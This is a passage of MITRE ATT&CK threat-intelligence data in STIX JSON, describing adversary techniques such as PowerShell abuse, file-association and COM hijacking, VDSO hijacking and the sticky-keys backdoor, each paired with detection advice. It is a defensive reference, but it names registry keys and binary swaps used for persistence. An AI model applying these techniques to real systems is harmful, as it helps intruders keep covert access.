            "x_mitre_platforms": [
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                "Office Suite"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "created": "2020-03-09T13:48:55.078Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059/001",
                    "external_id": "T1059.001"
                },
                {
                    "source_name": "Microsoft PSfromCsharp APR 2014",
                    "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.",
                    "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/"
                },
                {
                    "source_name": "SilentBreak Offensive PS Dec 2015",
                    "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.",
                    "url": "https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/"
                },
                {
                    "source_name": "FireEye PowerShell Logging 2016",
                    "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"
                },
                {
                    "source_name": "Github PSAttack",
                    "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved September 27, 2024.",
                    "url": "https://github.com/Exploit-install/PSAttack-1"
                },
                {
                    "source_name": "inv_ps_attacks",
                    "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.",
                    "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"
                },
                {
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
                },
                {
                    "source_name": "TechNet PowerShell",
                    "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.",
                    "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx"
                },
                {
                    "source_name": "Sixdub PowerPick Jan 2016",
                    "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.",
                    "url": "https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:52.378Z",
            "name": "PowerShell",
            "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Mayuresh Dani, Qualys",
                "Praetorian",
                "Ross Brittain"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nConsider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the <code>EngineVersion</code> field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the <code>HostName</code> field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Script: Script Execution",
                "Process: Process Creation",
                "Process: Process Metadata",
                "Command: Command Execution",
                "Module: Module Load"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
            "created": "2017-05-31T21:30:30.757Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1023",
                    "external_id": "T1023"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/132.html",
                    "external_id": "CAPEC-132"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:53.896Z",
            "name": "Shortcut Modification",
            "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Travis Smith, Tripwire"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c",
            "created": "2020-01-24T13:40:47.282Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/001",
                    "external_id": "T1546.001"
                },
                {
                    "source_name": "Microsoft Change Default Programs",
                    "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.",
                    "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs"
                },
                {
                    "source_name": "Microsoft File Handlers",
                    "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2015/extensibility/specifying-file-handlers-for-file-name-extensions?view=vs-2015"
                },
                {
                    "source_name": "Microsoft Assoc Oct 2017",
                    "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc"
                },
                {
                    "source_name": "TrendMicro TROJ-FAKEAV OCT 2012",
                    "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:52.605Z",
            "name": "Change Default File Association",
            "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command</code>. For example: \n\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Stefan Kanthak"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\n\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5",
            "created": "2020-01-14T01:35:00.781Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1055/014",
                    "external_id": "T1055.014"
                },
                {
                    "source_name": "Backtrace VDSO",
                    "description": "backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210205211142/https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/"
                },
                {
                    "source_name": "Syscall 2014",
                    "description": "Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020.",
                    "url": "https://lwn.net/Articles/604515/"
                },
                {
                    "source_name": "GNU Acct",
                    "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
                    "url": "https://www.gnu.org/software/acct/"
                },
                {
                    "source_name": "RHEL auditd",
                    "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
                    "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"
                },
                {
                    "source_name": "ArtOfMemoryForensics",
                    "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."
                },
                {
                    "source_name": "ELF Injection May 2009",
                    "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020.",
                    "url": "https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html"
                },
                {
                    "source_name": "VDSO Aug 2005",
                    "description": "Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020.",
                    "url": "https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/"
                },
                {
                    "source_name": "Chokepoint preload rootkits",
                    "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
                    "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:52.691Z",
            "name": "VDSO Hijacking",
            "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.  ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Module: Module Load"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091",
            "created": "2017-05-31T21:30:32.259Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1026",
                    "external_id": "T1026"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
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            ],
            "modified": "2025-04-25T15:15:54.209Z",
            "name": "Multiband Communication",
            "description": "**This technique has been deprecated and should no longer be used.**\n\nSome adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.",
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": true,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.",
            "x_mitre_domains": [
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            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
            "created": "2020-03-15T16:16:25.763Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1071/002",
                    "external_id": "T1071.002"
                },
                {
                    "source_name": "ESET Machete July 2019",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:52.946Z",
            "name": "File Transfer Protocols",
            "description": "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMB(Citation: US-CERT TA18-074A), FTP(Citation: ESET Machete July 2019), FTPS, and TFTP that transfer files may be very common in environments.  Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69",
            "created": "2017-05-31T21:31:33.979Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1122",
                    "external_id": "T1122"
                },
                {
                    "source_name": "Microsoft Component Object Model",
                    "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.",
                    "url": "https://msdn.microsoft.com/library/ms694363.aspx"
                },
                {
                    "source_name": "GDATA COM Hijacking",
                    "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.",
                    "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence"
                },
                {
                    "source_name": "Elastic COM Hijacking",
                    "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.",
                    "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:54.452Z",
            "name": "Component Object Model Hijacking",
            "description": "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "ENDGAME"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\</code>. (Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
            "created": "2017-05-31T21:30:26.946Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1015",
                    "external_id": "T1015"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/558.html",
                    "external_id": "CAPEC-558"
                },
                {
                    "source_name": "FireEye Hikit Rootkit",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"
                },
                {
                    "source_name": "DEFCON2016 Sticky Keys",
                    "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
                    "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom"
                },
                {
                    "source_name": "Tilbury 2014",
                    "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.",
                    "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:54.626Z",
            "name": "Accessibility Features",
            "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing